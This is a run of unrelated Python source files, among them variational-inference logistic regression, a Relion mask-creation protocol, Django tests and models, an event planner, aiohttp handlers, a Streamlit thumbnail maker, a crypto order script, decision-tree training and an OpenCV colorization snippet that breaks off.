        self.paras=[]
        self.paras.append(np.array(startPara))
        self.choosenTimes=np.zeros(self._trainNum)#记录训练样本被选中的次数
        self.accuracy=[]#测试项目，准确度
        self.avgloglikelihood=[]#测试项目，loss

    def __loading(self,source,dim):
        labels=[]
        features=[]
        dataNum=0
        '''
        读取数据
        '''
        with open(source,'r') as f:
            datas=f.readlines()
            dataNum=len(datas)
        '''
        转换格式
        '''
        for i in range(dataNum):
            line=datas[i]
            position=line.find(' ')
            label=eval(line[:position])
            feature=eval('{'+line[position+1:len(line)-2].replace(' ',',')+'}')
            temp=np.zeros(dim+1)
            temp[0]=1
            for key in feature.keys():
                temp[key]=1
            labels.append(label)
            features.append(temp)
        labels=np.array(labels)
        features=np.array(features)
        return labels,features

    def _getBatch(self):
        '''
        获取batch索引
        '''
        if(self._dataAccessing=='RA'):
            batches=random.sample(range(0,self._trainNum),self._batchSize)
        elif (self._dataAccessing=='CA'):
            start=self.__batchCount
            end=start+self._batchSize
            if(end<=len(self._trainLabels)):
                batches=list(range(start,end))
                self.__batchCount=end
            else:
                batches=list(range(start,len(self._trainLabels)))
                self.__batchCount=end-len(self._trainLabels)
                batches+=list(range(self.__batchCount))
        else:
            assert 0
        for index in batches:
            self.choosenTimes[index]+=1
        return batches

    def _logPCalc(self,z_sample):
        '''
        计算联合概率log_P
        '''
        minibatchs=self._getBatch()
        Z=np.array([self._trainLabels[index]*np.dot(self._trainFeatures[index],z_sample)\
            for index in minibatchs])
        log_likelihood=np.sum(np.log(sigmoid(Z)))*self._trainNum/self._batchSize
        log_prior=np.sum(norm.logpdf(z_sample,np.zeros(self._dim),np.ones(self._dim)))
        return log_likelihood+log_prior

    def _logQCalc(self,z_sample,mu,sigma2):
        '''
        计算变分分布log_q
        '''
        log_q=np.sum(norm.logpdf(z_sample,mu,np.sqrt(sigma2)))
        return log_q

    def _gradlogQCalc(self,z_sample,mu,sigma2):
        '''
        计算变分分布log_q的梯度
        '''
        score_mu=(z_sample-mu)/sigma2
        score_logsigma2=-0.5*np.ones(self._dim)+np.power((z_sample-mu),2)/(2*sigma2)
        return np.concatenate((score_mu,score_logsigma2))

    def _gradientCalc(self,z_sample,mu,sigma2):
        '''
        计算▽log_q*(log_p-log_q)
        '''
        gradientlogQ=self._gradlogQCalc(z_sample,mu,sigma2)
        log_p=self._logPCalc(z_sample)
        log_q=self._logQCalc(z_sample,mu,sigma2)
        return gradientlogQ*(log_p-log_q)

    def _paraTrans(self,i):
        '''
        将self.paras转换成正太分布的均值和方差
        '''
        mu=self.paras[i][0:self._dim]
        log_sigma2=self.paras[i][self._dim:]
        return mu,np.exp(log_sigma2)

    def _BBVI_basic(self):
        G=np.zeros((2*self._dim,2*self._dim))
        for i in range(self._maxiteration):
            '''
            获取需要的变分分布的均值和方差
            '''
            mu,sigma2=self._paraTrans(i)
            '''
            sample z
            '''
            z_samples=np.array([np.random.normal(mu,np.sqrt(sigma2))\
                    for i in range(self._sampleSize)])#梯度采样
            '''
            计算▽ELBO
            '''
            gradient=np.mean(np.array([self._gradientCalc(z_sample,mu,sigma2)\
                    for z_sample in z_samples]),axis=0)
            G+=np.outer(gradient,gradient)
            para_new=self.paras[i]+gradient*self._stepScale/np.sqrt(np.diag(G))
            '''
            append新值
            '''
            self.paras.append(np.array(para_new))
            '''
            test and print
            '''
            mu,sigma2=self._paraTrans(i+1)
            self._testCalc(i,mu,sigma2)
            self._informationPrint(i)
        self._postProcessing()

    def _informationPrint(self,i):
        if((self._testNum!=0 and  i%self._interval==0 and self._interval!=0)or i==self._maxiteration-1):
            print('第%d次迭代: '%(i))
            print('epochs: ',self.epochs[i])
            print('test_accuracy: ',self.accuracy[len(self.accuracy)-1])
            print('avgloglikelihood: ',self.avgloglikelihood[len(self.avgloglikelihood)-1])
            print('----------------------------------------------')

    def _postProcessing(self):
        '''
        后处理，list转array
        '''
        self.paras=np.array(self.paras)
        self.accuracy=np.array(self.accuracy)
        self.avgloglikelihood=np.array(self.avgloglikelihood)
        self.epochs=np.array(self.epochs)

    def __testCalc1(self,i,para):
        Z=[self._testLabels[j]*np.dot(self._testFeatures[j],para) for j in range(self._testNum)]
        Y=sigmoid(Z)
        return Y

    def _testCalc(self,i,mu,sigma2):
        if((self._testNum!=0 and  i%self._interval==0 and self._interval!=0)or i==self._maxiteration-1):
            z_samples=np.array([np.random.normal(mu,np.sqrt(sigma2))\
                    for i in range(self._testSampleNum)])
            results=np.array([self.__testCalc1(i,para) for para in z_samples])
            Y=np.mean(results,axis=0)
            T=Y*2
            accuracy=sum(T.astype(int))/self._testNum
            avgloglikelihood=-sum(np.log(Y))/self._testNum
            self.accuracy.append(accuracy)
            self.avgloglikelihood.append(avgloglikelihood)


# **************************************************************************
# *
# * Authors:     Grigory Sharov (gsharov@mrc-lmb.cam.ac.uk)
# *
# * MRC Laboratory of Molecular Biology (MRC-LMB)
# *
# * This program is free software; you can redistribute it and/or modify
# * it under the terms of the GNU General Public License as published by
# * the Free Software Foundation; either version 3 of the License, or
# * (at your option) any later version.
# *
# * This program is distributed in the hope that it will be useful,
# * but WITHOUT ANY WARRANTY; without even the implied warranty of
# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# * GNU General Public License for more details.
# *
# * You should have received a copy of the GNU General Public License
# * along with this program; if not, write to the Free Software
# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
# * 02111-1307  USA
# *
# *  All comments concerning this program package may be sent to the
# *  e-mail address 'scipion@cnb.csic.es'
# *
# **************************************************************************

import math
from enum import Enum

import pyworkflow.protocol.params as params
from pyworkflow.constants import PROD
from pwem.protocols import ProtCreateMask3D
from pwem.objects import VolumeMask

import relion.convert as convert
from ..constants import MASK_AND

class outputs(Enum):
    outputMask = VolumeMask

class ProtRelionCreateMask3D(ProtCreateMask3D):
    """ This protocols creates a 3D mask using Relion.
    The mask is created from a 3d volume or by comparing two input volumes.
    """
    _label = 'create 3d mask'
    _devStatus = PROD
    _possibleOutputs = outputs

    # --------------------------- DEFINE param functions ----------------------
    def _defineParams(self, form):
        form.addSection(label='Mask generation')
        form.addParam('inputVolume', params.PointerParam,
                      pointerClass="Volume",
                      label="Input volume",
                      help="Select the volume that will be used to create the mask")
        form.addParam('initialLowPassFilterA', params.FloatParam,
                      default=15.,
                      label='Lowpass filter map by (A)',
                      help='Lowpass filter that will be applied to the input map, '
                           'prior to binarization. To calculate solvent masks, a '
                           'lowpass filter of 15-20A may work well.')
        # TODO: add wizard
        form.addParam('threshold', params.FloatParam, default=0.02,
                      label='Initial binarisation threshold',
                      help="This threshold is used to make an initial binary "
                           "mask from the average of the two unfiltered "
                           "half-reconstructions. If you don't know what "
                           "value to use, display one of the unfiltered "
                           "half-maps in a 3D surface rendering viewer and "
                           "find the lowest threshold that gives no noise "
                           "peaks outside the reconstruction.")

        form.addParam('doCompare', params.BooleanParam, default=False,
                      expertLevel=params.LEVEL_ADVANCED,
                      label='Compare with another volume to produce a mask?',
                      help='Logical comparison of two input volumes to produce a mask')

        form.addParam('inputVolume2', params.PointerParam,
                      pointerClass="Volume",
                      condition='doCompare',
                      expertLevel=params.LEVEL_ADVANCED,
                      label="Input volume (second)",
                      help="Select the volume that will be compared to the first one")

        form.addParam('operation', params.EnumParam, default=MASK_AND,
                      condition='doCompare',
                      expertLevel=params.LEVEL_ADVANCED,
                      label='Operation',
                      choices=['AND', 'OR', 'AND_NOT', 'OR_NOT'],
                      help='*AND*: Pixels in the initial mask will be one if the input '
                           'AND the second volume are above the threshold value.\n'
                           '*OR*: Pixels in the initial mask will be one if the input '
                           'OR the second volume are above the threshold value.\n'
                           '*AND_NOT*: pixels in the initial mask will be one if '
                           'the input is above the threshold AND the second volume '
                           'is below it.\n*OR_NOT*: pixels in the initial mask will be '
                           'one if the input is above the threshold OR the second '
                           'volume is below it.')

        form.addParam('extend', params.IntParam, default=3,
                      label='Extend binary mask by (px)',
                      help='The initial binary mask is extended this number of '
                           'pixels in all directions.')

        form.addParam('edge', params.IntParam, default=3,
                      label='Add a soft-edge (px)',
                      help='The extended binary mask is further extended with '
                           'a raised-cosine soft edge of the specified width.')

        form.addParam('doInvert', params.BooleanParam, default=False,
                      expertLevel=params.LEVEL_ADVANCED,
                      label='Invert final mask',
                      help='Invert the final mask')

        form.addParallelSection(threads=4, mpi=0)

    # --------------------------- INSERT steps functions ----------------------
    def _insertAllSteps(self):
        self.maskFile = self._getExtraPath('mask.mrc')
        self._insertFunctionStep('convertInputStep', self.inputVolume.get().getObjId())
        self._insertFunctionStep('createMaskStep')
        self._insertFunctionStep('createOutputStep')

    # --------------------------- STEPS functions -----------------------------
    def convertInputStep(self, volId):
        self.inputVolFn = convert.convertBinaryVol(
            self.inputVolume.get(), self._getTmpPath())

        if self.doCompare:
            self.inputVol2Fn = convert.convertBinaryVol(
                self.inputVolume2.get(), self._getTmpPath())

    def createMaskStep(self):
        argsDict = {'--i ': self.inputVolFn,
                    '--ini_threshold ': self.threshold.get(),
                    '--extend_inimask ': self.extend.get(),
                    '--width_soft_edge ': self.edge.get(),
                    '--angpix ': self.inputVolume.get().getSamplingRate()
                    }
        if self.initialLowPassFilterA.get() != -1:
            argsDict['--lowpass '] = self.initialLowPassFilterA.get()

        args = ' --o %s ' % self.maskFile
        args += ' '.join(['%s %s' % (k, v) for k, v in argsDict.items()])

        if self.doCompare:
            op = self.operation.get()
            opStr = ['--and', '--or', '--and_not', '--or_not'][op]
            args += ' %s %s' % (opStr, self.inputVol2Fn)

        if self.doInvert:
            args += ' --invert'

        if self.numberOfThreads > 1:
            args += ' --j %d' % self.numberOfThreads

        self.runJob("relion_mask_create", args)

        return [self.maskFile]

    def createOutputStep(self):
        volMask = VolumeMask()
        volMask.setFileName(self.maskFile)
        volMask.setSamplingRate(self.inputVolume.get().getSamplingRate())

        self._defineOutputs(**{outputs.outputMask.name: volMask})
        self._defineSourceRelation(self.inputVolume, self.outputMask)

    # --------------------------- INFO functions ------------------------------
    def _validate(self):
        errors = []

        if self.doCompare:
            pixVol1 = self.inputVolume.get().getSamplingRate()
            pixVol2 = self.inputVolume2.get().getSamplingRate()

            if not math.isclose(pixVol1, pixVol2, abs_tol=0.001):
                errors.append('Pixel size should be the same for both input volumes.')

        return errors

    def _summary(self):
        messages = [
            "Created a mask from input volume using threshold *%0.5f*"
            % self.threshold.get(),
            "*Mask processing*",
            "   Extend by *%d* pixels" % self.extend,
            "   Apply soft edge of *%d* pixels" % self.edge]
        if self.doInvert:
            messages.append("   Inverted")

        return messages

    def _citations(self):
        return []

    def _methods(self):
        messages = [
            "*Mask creation*",
            "We processed the volume %s." % self.getObjectTag('inputVolume'),
            "We binarized it at threshold of %0.3f. " % self.threshold,
            "We extended binary mask by %d voxels." % self.extend,
            "And, we smoothed it by applying a soft edge of %d voxels."
            % self.edge.get()
        ]
        if self.doInvert:
            messages.append("We inverted the mask. ")
            messages.append("And, we smoothed it by applying a soft edge of "
                            "%d voxels." % self.edge)
        if self.hasAttribute('outputMask'):
            messages.append('We refer to the output mask as %s.'
                            % self.getObjectTag('outputMask'))

        return messages


import uuid
from datetime import datetime

from django.urls import reverse
from rest_framework import status
from rest_framework.test import APITestCase

from core.models import Reading, Customer, Device

class TestReadingView(APITestCase):
    def setUp(self):
        self.url = reverse('reading')

    def test_send_request_success(self):
        """
        In this method we test add new reading successfully.
        """

        body = {
            "timestamp": "2017-01-15T12:18:49.541124+00:00",
            "device_id": str(uuid.uuid4()),
            "customer_id": str(uuid.uuid4()),
            "value": 12.6
        }
        response = self.client.post(self.url, body)

        readings_count = Reading.objects.count()
        self.assertEquals(response.status_code, status.HTTP_201_CREATED)
        self.assertEqual(readings_count, 1)

class TestReadingAggregateView(APITestCase):
    def setUp(self):
        self.url = reverse('reading-aggregator')
        self.customer = Customer.objects.create()
        self.device = Device.objects.create(customer=self.customer)
        timestamp = datetime.now()
        values = [540, 600, 350]

        for value in values:
            Reading.objects.create(timestamp=timestamp, value=value, customer=self.customer, device=self.device)

        self.avg_value = round(sum(values) / len(values), 2)

    def test_send_request_success(self):
        """
        In this method we test retrieve aggregated reading successfully.
        """
        response = self.client.get(self.url)
        data = response.json()
        reading_aggregated_object = data[0]

        self.assertEquals(response.status_code, status.HTTP_200_OK)
        self.assertEqual(len(data), 1)
        self.assertEqual(reading_aggregated_object.get('device_id'), str(self.device.id))
        self.assertEqual(reading_aggregated_object.get('customer_id'), str(self.customer.id))
        self.assertEqual(reading_aggregated_object.get('aggregated_values')[0].get('value'), self.avg_value)


from dataclasses import dataclass
import datetime
from typing import List, NamedTuple, Tuple
import json
from copy import deepcopy
from event import Event, Location, Timeframe

from mapsy import timeDistance

@dataclass
class Task:
    id: int
    begin: datetime.datetime
    end: datetime.datetime
    dur: datetime.timedelta
    @property
    def loc_id(self):
        return self.id

class Interval(NamedTuple):
    begin: datetime.datetime
    end: datetime.datetime
    loc_id_b: Tuple
    loc_id_e: Tuple

class Planner:
    def __init__(self, events: List[Event], home_location: Location):
        self.events = events
        self.home_location = home_location
        self.rigid_tasks, self.flexible_tasks, s_date, e_date = self.parse()
        home_loc_id = -1

        if datetime.datetime.now().date() != s_date.date():
            days = [s_date + datetime.timedelta(days=i)
                    for i in range((e_date - s_date).days + 1)]
            self.freetime = [
                Interval(d + datetime.timedelta(hours=7),
                         d + datetime.timedelta(hours=23),
                         home_loc_id,
                         home_loc_id) for d in days
            ]

        else:
            today_int = Interval(
                datetime.datetime.now() + datetime.timedelta(minutes=1),
                datetime.datetime.now().replace(hour=23, minute=0),
                home_loc_id,
                home_loc_id
            )

            days = [s_date + datetime.timedelta(days=i)
                    for i in range(1, (e_date - s_date).days + 1)]

            self.freetime = [today_int] + [
                Interval(d + datetime.timedelta(hours=7),
                         d + datetime.timedelta(hours=23),
                         home_loc_id,
                         home_loc_id) for d in days
            ]

        self.placed_tasks = dict()
        self.solution_found = False
        self.distances = dict()

    def __repr__(self):
        return str(self.placed_tasks)

    def parse(self):
        dt_fmt = "%d.%m.%Y %H:%M"
        rigid_tasks = []
        flexible_tasks = []

        for i, e in enumerate(self.events):
            b_st = e.timeframe.start_date + " " + e.timeframe.start_time
            b_t = datetime.datetime.strptime(b_st, dt_fmt)

            e_st = e.timeframe.end_date + " " + e.timeframe.end_time
            e_t = datetime.datetime.strptime(e_st, dt_fmt)

            if e.timeframe.duration is not None:
                h, m = [int(e) for e in e.timeframe.duration.split(":")]
                duration = datetime.timedelta(hours=h, minutes=m)
            else:
                duration = e_t - b_t
            task = Task(i, b_t, e_t, duration)
            if e.isFixed():
                rigid_tasks.append(task)
            else:
                flexible_tasks.append(task)

        s_time = min(rigid_tasks+flexible_tasks,
                     key=lambda t: t.begin).begin.replace(hour=0, minute=0)
        e_time = max(rigid_tasks+flexible_tasks,
                     key=lambda t: t.end).end.replace(hour=0, minute=0)

        return rigid_tasks, flexible_tasks, s_time, e_time

    def dist(self, loc_id1, loc_id2, time):
        if loc_id1 == -1:  # home destination
            l1 = self.home_location
        else:
            l1 = self.events[loc_id1].location

        if loc_id2 == -1:
            l2 = self.home_location
        else:
            l2 = self.events[loc_id2].location

        if (l1.latlngtup(), l2.latlngtup(), time) in self.distances:
            return self.distances[(l1.latlngtup(), l2.latlngtup(), time)]
        else:

            #dist = datetime.timedelta(0)
            dist = timeDistance(l1, l2, time)

            self.distances[(l1.latlngtup(), l2.latlngtup(), time)] = dist
            return dist

    def place(self, t: Task, invls):
        for ivl in invls:
            s_time = max(ivl.begin, t.begin)
            e_time = min(ivl.end,   t.end)
            aval_time = e_time - s_time
            if aval_time > datetime.timedelta(0):
                tot_dur = self.dist(ivl.loc_id_b, t.loc_id, s_time) + \
                    t.dur + \
                    self.dist(t.loc_id, ivl.loc_id_e, s_time + t.dur)
                if tot_dur <= aval_time:
                    # print("Posssible", t, ivl)
                    break
        else:
            # print("Cannot allocate task")
            return False
        if ivl.begin != s_time:
            invls.append(
                Interval(ivl.begin,
                         s_time + self.dist(ivl.loc_id_b, t.loc_id, s_time),
                         ivl.loc_id_b,
                         t.loc_id)
            )

        if s_time + tot_dur < ivl.end:
            invls.append(
                Interval(s_time + self.dist(ivl.loc_id_b, t.loc_id, s_time) + t.dur,
                         ivl.end,
                         t.loc_id,
                         ivl.loc_id_e)
            )
        invls.remove(ivl)
        invls.sort()

        self.placed_tasks[t.id] = (
            s_time + self.dist(ivl.loc_id_b, t.loc_id, s_time),
            s_time + self.dist(ivl.loc_id_b, t.loc_id, s_time) + t.dur
        )

        return True

    def allocate(self, task_l, invls):
        if self.solution_found:
            return

        if len(task_l) == 0:
            self.solution_found = True
            return

        for t in task_l:
            cinvls = deepcopy(invls)
            allocated = self.place(t, cinvls)

            if not allocated:
                return

            t_tmp = deepcopy(task_l)
            t_tmp.remove(t)
            self.allocate(t_tmp, cinvls)
            if self.solution_found:
                return

    def plan(self):
        invls = self.freetime
        if len(self.rigid_tasks) > 0:
            for t in self.rigid_tasks:
                self.place(t, invls)
        if len(self.flexible_tasks) > 0:
            self.flexible_tasks.sort(key=lambda task: -task.dur)
            self.allocate(self.flexible_tasks, invls)

        if not self.solution_found:
            n_missing = len(self.placed_tasks) - \
                len(set(self.placed_tasks.values()))
            print(
                f"No solution found, {n_missing} tasks remains without place")

        for i, t in self.placed_tasks.items():  # task_time_start, task_time_end, task
            st = t[0].timetuple()
            et = t[1].timetuple()
            diff = t[1] - t[0]
            start_date = f"{st[2]:02d}.{st[1]:02d}.{st[0]}"
            start_time = f"{st[3]:02d}:{st[4]:02d}"
            end_date = f"{et[2]:02d}.{et[1]:02d}.{et[0]}"
            end_time = f"{et[3]:02d}:{et[4]:02d}"
            ntf = Timeframe(start_date, start_time, end_date, end_time)
            self.events[i].reschedule(ntf)

def test(n):
    HOME_LOCATION = Location(52.22977, 21.01178)  # PKIN

    print(f"------Test with n = {n}------")
    events = []
    for i in range(n):
        t = Timeframe("01.04.2020", "13:00", "02.04.2020", "13:21", "3:00")
        e = Event(f"a{i}", "nothing", "lol",
                  Location(52.237082385, 21.025083233), False, t)
        events.append(e)

    print("Before:")
    for e in events:
        print(e.timeframe.start_date, e.timeframe.start_time)
    planner = Planner(events, HOME_LOCATION)
    planner.plan()
    print("After:")
    for e in events:
        print(e.scheluded_datetime.start_date, e.scheluded_datetime.start_time)

if __name__ == "__main__":
    test(3)
    test(7)


from aiohttp import web

from asyncpg.exceptions import UniqueViolationError

from . import permissions
from .dataaccess import environmentda
from . import auditing

async def get_envs(request):
    env_list = await environmentda.get_envs()
    envs = {'envs': [{'name': e} for e in env_list]}
    return web.json_response(envs)

async def add_env(request):
    body = await request.json()
    env_name = body.get('name', None)
    user = request.get('user')

    if not env_name.isidentifier():
        return web.json_response({'Message': "Not a valid name"},
                                 status=400)

    await permissions.check_permissions(user, permissions.Action.create_env)
    try:
        response = await environmentda.add_env(env_name)
        await auditing.audit_event(
            'environment.add', user, {'env_name': env_name})
        return web.json_response(response, status=201)

    except UniqueViolationError as e:
        return web.json_response(
            {'Message': "The environment name '{}' already exists"
                .format(env_name)},
            status=409)

async def delete_env(request):
    env = request.match_info['name']
    user = request.get('user')

    await permissions.check_permissions(user, permissions.Action.delete_env)

    await environmentda.delete_env(env)
    await auditing.audit_event(
        'environment.remove', user, {'env_name': env})
    return web.HTTPNoContent()


import numpy as np
from PIL import Image, ImageDraw, ImageFilter
import streamlit as st

# 何個作るか聞く
num_trials = st.slider('何個試作しますか？',0,10,0)
button = st.button('上記の設定で試作')

# 画像を後で入れる空のリスト
imgs = []

# URLを下になる画像から順に入れる
urls = ['base.png', 'field.jpg', 'yattazeyossya.png', 'Splatoon2logo.png',
        'decorators-12_2x.png', 'decorators-12_2x.png']
genres = ['base', 'back', 'person', 'logo', 'deco', 'deco']
for i, url in enumerate(urls):
    imgs.append(Image.open(url))

if button:
    for trials in range(num_trials):
        # 背景に色付け
        draw = ImageDraw.Draw(imgs[0])
        full_size = np.array(imgs[0].size)
        base_color = np.random.randint(0, 255, 3)
        draw.rectangle((0, 0, tuple(full_size)), fill=(
            base_color[0], base_color[1], base_color[2]))

        # 背景と混ぜた枠をセット※mode'RGBA'と'RGB'とかを揃える必要あり
        imgs[1] = imgs[1].resize(tuple(full_size))
        imgs[0] = Image.blend(imgs[0], imgs[1].convert('RGBA'), 0.5)

        # 背景画像をセット
        imgs[1] = imgs[1].resize(tuple(full_size-[20, 20]))
        imgs[0].paste(imgs[1], (15, 10))

        # 背景画像(通常1280,720)内に画像を散りばめる乱数を生成
        number = len(imgs)
        widths = []
        heights = []
        for k in range(number-2):
            img_ratio = (imgs[k+2].width / imgs[k+2].height) ** 0.5
            if genres[k+2] == 'logo':
                size_base = 400
            elif genres[k+2] == 'deco':
                size_base = 100
            elif genres[k+2] == 'person':
                size_base = 700
            new_size = tuple([round(size_base*img_ratio), round(size_base/img_ratio)])
            imgs[k+2] = imgs[k+2].resize(new_size)
            widths.append(np.random.randint(0, full_size[0]-new_size[0]))
            heights.append(np.random.randint(0, full_size[1]-new_size[1]))

        # 画像を配置
        for j, x, y in zip(range(number-2), widths, heights):
            mask = imgs[j+2].copy().convert('RGBA')
            imgs[0].paste(imgs[j+2], (x, y), mask)

        st.title('AutoThumbnail')
        st.image(imgs[0], caption='squid', use_column_width=True)


from twisted.web import server
from .base import BaseResource

class DataResource(BaseResource):

    def __init__(self, dataserver):
        self.dataserver = dataserver
        BaseResource.__init__(self)

    def render(self, request):
        request.setHeader('Content-type', 'text/javascript; charset=UTF-8')
        if "uuid" in request.args:
            get_deferreds = []
            for uuid in request.args["uuid"]:
                get_deferreds.append(self.dataserver.getData(uuid))
            d = DeferredList(get_deferreds, consumeErrors = True)
            d.addCallback(self._getCallback, request.args["uuid"])
            d.addCallback(self._successResponse)
            d.addErrback(self._errorResponse)
            d.addCallback(self._immediateResponse, request)
            return server.NOT_DONE_YET
        return self._errorResponse(Failure(exc_value=Exception("Parameter UUID is required.")))

    def _getCallback(self, data, uuids):
        response = {}
        for i in range(0, len(uuids)):
            if data[i][0] == True:
                response[uuids[i]] = data[i][1]
            else:
                response[uuids[i]] = {"error":str(data[i][1].value)}
        return response


#!/usr/bin/env python3

from decimal import Decimal
import argparse
import json

from robinhood.RobinhoodCachedClient import RobinhoodCachedClient, FORCE_LIVE
from robinhood.util import ORDER_TYPES, ORDER_SIDES

# Set up the client
client = RobinhoodCachedClient()
client.login()

def place_order(order_type, order_side, symbol, quantity, price):
  quote = client.get_crypto_quote(symbol)
  currency_pair_id = quote['id']
  currency_pair = client.get_crypto_currency_pair(currency_pair_id)
  name = currency_pair['name']

  is_tradable = currency_pair['tradability'] == 'tradable'
  if not is_tradable:
    print("Sorry, {} ({}) isn't tradable".format(symbol, name))
    exit()

  min_order_size = Decimal(currency_pair['min_order_size'])
  max_order_size = Decimal(currency_pair['max_order_size'])
  crypto_increment = Decimal(currency_pair['asset_currency']['increment'])
  price_increment = Decimal(currency_pair['quote_currency']['increment'])

  if price % price_increment != 0:
    print("Sorry, price must be a multiple of {}".format(price_increment))
    exit()
  if quantity < min_order_size or quantity > max_order_size:
    print("Sorry, order quantity must be between {} and {}".format(min_order_size, max_order_size))
    exit()
  if quantity % crypto_increment != 0:
    print("Sorry, quantity must be a multiple of {}".format(crypto_increment))
    exit()

  print('')
  print('!!!!!!!!!!!!!!!!!! CAUTION !!!!!!!!!!!!!!!!!!')
  confirm = input('Are you sure that you want to {} {} {} {} ({}) for ${:.2f}? [N/y]? '.format(
    order_type,
    order_side,
    quantity,
    symbol,
    name,
    price)).lower()
  if confirm not in ['y', 'yes']:
    print('Bailed out!')
    exit()

  order = client.order_crypto(
      currency_pair_id, order_type, order_side, quantity, price)
  print(json.dumps(order, indent=4))

if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='Place an order')
  parser.add_argument('order_type', choices=ORDER_TYPES)
  parser.add_argument('order_side', choices=ORDER_SIDES)
  parser.add_argument('symbol', type=str.upper, help='The cryptocurrency + currency ticker')
  parser.add_argument('quantity', type=Decimal)
  parser.add_argument('price', type=Decimal)
  args = parser.parse_args()
  place_order(
      args.order_type,
      args.order_side,
      args.symbol,
      args.quantity,
      args.price
  )


"""
Module to train the decision tree model.
"""
import logging
import typing
import pickle

import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier

logger = logging.getLogger(__name__)

def train_test_split_data(data:pd.DataFrame, target_col:str, test_size: float = 0.4,
                          random_state: int = 42) -> typing.Union[pd.DataFrame, pd.Series]:
    """
    Split the data into a training and testing set.

    Args:
        data (pd.DataFrame): The data to be split.
        target_col (str): The target column.
        test_size (float): The proportion of the data to use for testing.
        random_state (int): The seed for the random number generator.

    Returns:
        A tuple containing the training and testing data.
    """

    if not isinstance(data, pd.DataFrame):
        logger.error("Invalid data")
        raise TypeError("data must be a pandas DataFrame")
    if not isinstance(target_col, str):
        logger.error("Invalid target column")
        raise TypeError("target_col must be a string")

    # Return whole data if test_size is 0
    if test_size == 0:
        logger.info("Test size is 0, returning whole data")
        return data

    if test_size < 0 or test_size >= 1:
        logger.error("Invalid test size")
        raise ValueError("test_size must be between 0 and 1")

    try:
        features = data.drop(target_col, axis=1)
        target = data[target_col]
        # Split the data into a training and testing set
        logger.info("Splitting data into training and testing set")
        x_train, x_test, y_train, y_test = train_test_split(features, target, test_size=test_size,
                                                            random_state=random_state)

    # Catch exceptions for train_test_split
    except ValueError as err:
        logger.error("Error: %s", err)
        raise err
    except KeyError as err:
        logger.error("Error: %s", err)
        raise err
    except Exception as err:
        logger.error("Error: %s", err)
        raise err

    # Return the training and testing data
    return x_train, x_test, y_train, y_test

def train_dt_model(x_train: pd.DataFrame, y_train: pd.Series,  # pylint: disable=too-many-arguments
                   initial_features: typing.List[str],
                   random_state: int = 42) -> DecisionTreeClassifier:
    """
    Train the decision tree model.

    Args:
        x_train (pd.DataFrame): The training features.
        y_train (pd.Series): The training labels.
        initial_features (list): The initial features.
        random_state (int): The seed for the random number generator.

    Returns:
        dt_model (DecisionTreeClassifier): The decision tree model.
    """

    # Checking xtrain and ytrain
    if not isinstance(x_train, pd.DataFrame):
        logger.error("Invalid training features")
        raise ValueError("x_train must be a pandas DataFrame")

    if not isinstance(y_train, pd.Series):
        logger.error("Invalid training labels")
        raise ValueError("y_train must be a pandas Series")

    try:
        # Train the decision tree model
        logger.info("Training the decision tree model")
        dt_model = DecisionTreeClassifier(random_state=random_state)
        logger.info("Fitting the decision tree model")
        dt_model.fit(x_train[initial_features], y_train.values.ravel())

    # Catch exceptions for training the decision tree model
    except ValueError as err:
        logger.error("Error: %s", err)
        raise err
    except KeyError as err:
        logger.error("Error: %s", err)
        raise err

    # Return the trained model
    return dt_model

def train(input_path: str,x_train_path: str, y_train_path: str, x_test_path: str, y_test_path: str,
            model_path: str, target_column: str,initial_features: typing.List[str], test_size: float,
            random_state: int):
    """
    Train the decision tree model.

    Args:
        input_path (str): The path to the input data.
        x_train_path (str): The path to save the training features.
        y_train_path (str): The path to save the training labels.
        x_test_path (str): The path to save the testing features.
        y_test_path (str): The path to  savethe testing labels.
        model_path (str): The path to save the model.
        target_column (str): The target column.
        initial_features (list): The initial features used to train the model.
        test_size (float): The proportion of the data to use for testing.
        random_state (int): The seed for the random number generator.

    Returns:
        None
    """

    # Load the data
    logger.info("Loading the data")
    try:
        data = pd.read_csv(input_path)
    except FileNotFoundError as err:
        logger.error("Error: %s", err)
        raise err

    # Split the data into a training and testing set
    logger.info("Splitting data into training and testing set")
    try:
        x_train, x_test, y_train, y_test = train_test_split_data(data, target_column, test_size, random_state)
    except ValueError as err:
        logger.error("Error: %s", err)
        raise err
    except KeyError as err:
        logger.error("Error: %s", err)
        raise err

    # Train the decision tree model
    try:
        logger.info("Training the decision tree model")
        dt_model = train_dt_model(x_train, y_train, initial_features, random_state)
    except ValueError as err:
        logger.error("Error: %s", err)
        raise err
    except KeyError as err:
        logger.error("Error: %s", err)
        raise err

    try:
        # Save the model
        logger.info("Saving the model")
        with open(model_path, "wb") as file:
            pickle.dump(dt_model, file)
    except FileNotFoundError as err:
        logger.error("Error: %s", err)
        raise err

    # Save the training and testing data
    logger.info("Saving the training and testing data")
    try:
        x_train.to_csv(x_train_path, index=False)
    except PermissionError as err:
        logger.error("Error: %s", err)
        raise err
    try:
        y_train.to_csv(y_train_path, index=False)
    except PermissionError as err:
        logger.error("Error: %s", err)
        raise err
    try:
        x_test.to_csv(x_test_path, index=False)
    except PermissionError as err:
        logger.error("Error: %s", err)
        raise err
    try:
        y_test.to_csv(y_test_path, index=False)
    except PermissionError as err:
        logger.error("Error: %s", err)
        raise err


# Django imports.
from django.db import models

__author__ = 'Jason Parent'

class Task(models.Model):

    PENDING = 'PENDING'
    SUCCESS = 'SUCCESS'
    FAILURE = 'FAILURE'

    STATUS_CHOICES = (
        (PENDING, PENDING),
        (SUCCESS, SUCCESS),
        (FAILURE, FAILURE),
    )

    objects = models.Manager()

    status = models.CharField(max_length=7, choices=STATUS_CHOICES, default=PENDING)
    created = models.DateTimeField(auto_now_add=True)
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('id',)


import numpy as np
import cv2
import os
from cv2 import dnn

def ColorizeImage(sourceImg, save):
    if(os.path.exists(sourceImg) == False):
        return
    proto_file = 'Model\colorization_deploy_v2.prototxt'
    model_file = 'Model\colorization_release_v2.caffemodel'
    hull_pts = 'Model\pts_in_hull.npy'

    # Reading the model params
    net = dnn.readNetFromCaffe(proto_file, model_file)
    kernel = np.load(hull_pts)

    # Reading and processing the image
    img = cv2.imread(sourceImg)
    imgDimensions = img.shape
    scaled = img.astype("float32") / 255.0
    lab_img = cv2.cvtColor(scaled, cv2.COLOR_BGR2LAB)

    # Add the cluster centers as 1x1 convolutions to the model
